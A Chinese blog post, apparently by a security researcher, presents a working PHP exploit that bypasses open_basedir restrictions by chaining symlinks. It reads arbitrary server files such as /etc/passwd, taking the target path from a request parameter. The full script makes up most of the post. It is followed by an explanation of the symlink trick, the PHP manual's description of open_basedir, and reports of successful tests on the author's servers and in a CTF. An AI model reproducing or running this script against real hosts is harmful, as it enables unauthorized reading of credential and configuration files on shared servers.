漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP:

复制代码 代码如下:<?php/** by phithon* From //www.rzxsoft.cn* detail: http://cxsecurity.com/issue/WLB-2009110068*/header("content-type: text/plain");error_reporting(-1);ini_set("display_errors", TRUE);printf("open_basedir: %sphp_version: %s", ini_get("open_basedir"), phpversion());printf("disable_functions: %s", ini_get("disable_functions"));$file = str_replace("\", "/", isset($_REQUEST["file"]) ? $_REQUEST["file"] : "/etc/passwd");$relat_file = getRelativePath(__FILE__, $file);$paths = explode("/", $file);$name = mt_rand() % 999;$exp = getRandStr();mkdir($name);chdir($name);for($i = 1 ; $i < count($paths) - 1 ; $i++){  mkdir($paths[$i]);  chdir($paths[$i]);}mkdir($paths[$i]);for ($i -= 1; $i > 0; $i--) {   chdir("..");}$paths = explode("/", $relat_file);$j = 0;for ($i = 0; $paths[$i] == ".."; $i++) {   mkdir($name);  chdir($name);  $j++;}for ($i = 0; $i <= $j; $i++) {   chdir("..");}$tmp = array_fill(0, $j + 1, $name);symlink(implode("/", $tmp), "tmplink");$tmp = array_fill(0, $j, "..");symlink("tmplink/" . implode("/", $tmp) . $file, $exp);unlink("tmplink");mkdir("tmplink");delfile($name);$exp = dirname($_SERVER["SCRIPT_NAME"]) . "/{$exp}";$exp = "http://{$_SERVER["SERVER_NAME"]}{$exp}";echo "-----------------content---------------";echo file_get_contents($exp);delfile("tmplink");

function getRelativePath($from, $to) {  // some compatibility fixes for Windows paths  $from = rtrim($from, "/") . "/";  $from = str_replace("\", "/", $from);  $to   = str_replace("\", "/", $to);

  $from   = explode("/", $from);  $to     = explode("/", $to);  $relPath  = $to;

  foreach($from as $depth => $dir) {    // find first non-matching dir    if($dir === $to[$depth]) {      // ignore this directory      array_shift($relPath);    } else {      // get number of remaining dirs to $from      $remaining = count($from) - $depth;      if($remaining > 1) {        // add traversals up to first matching dir        $padLength = (count($relPath) + $remaining - 1) * -1;        $relPath = array_pad($relPath, $padLength, "..");        break;      } else {        $relPath[0] = "./" . $relPath[0];      }    }  }  return implode("/", $relPath);}

function delfile($deldir){  if (@is_file($deldir)) {    @chmod($deldir,0777);    return @unlink($deldir);  }else if(@is_dir($deldir)){    if(($mydir = @opendir($deldir)) == NULL) return false;    while(false !== ($file = @readdir($mydir)))    {      $name = File_Str($deldir."/".$file);      if(($file!=".") && ($file!="..")){delfile($name);}    }     @closedir($mydir);    @chmod($deldir,0777);    return @rmdir($deldir) ? true : false;  }}

function File_Str($string){  return str_replace("//","/",str_replace("\","/",$string));}

function getRandStr($length = 6) {  $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";  $randStr = "";  for ($i = 0; $i < $length; $i++) {    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);  }  return $randStr;}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:复制代码 代码如下:symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

Note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。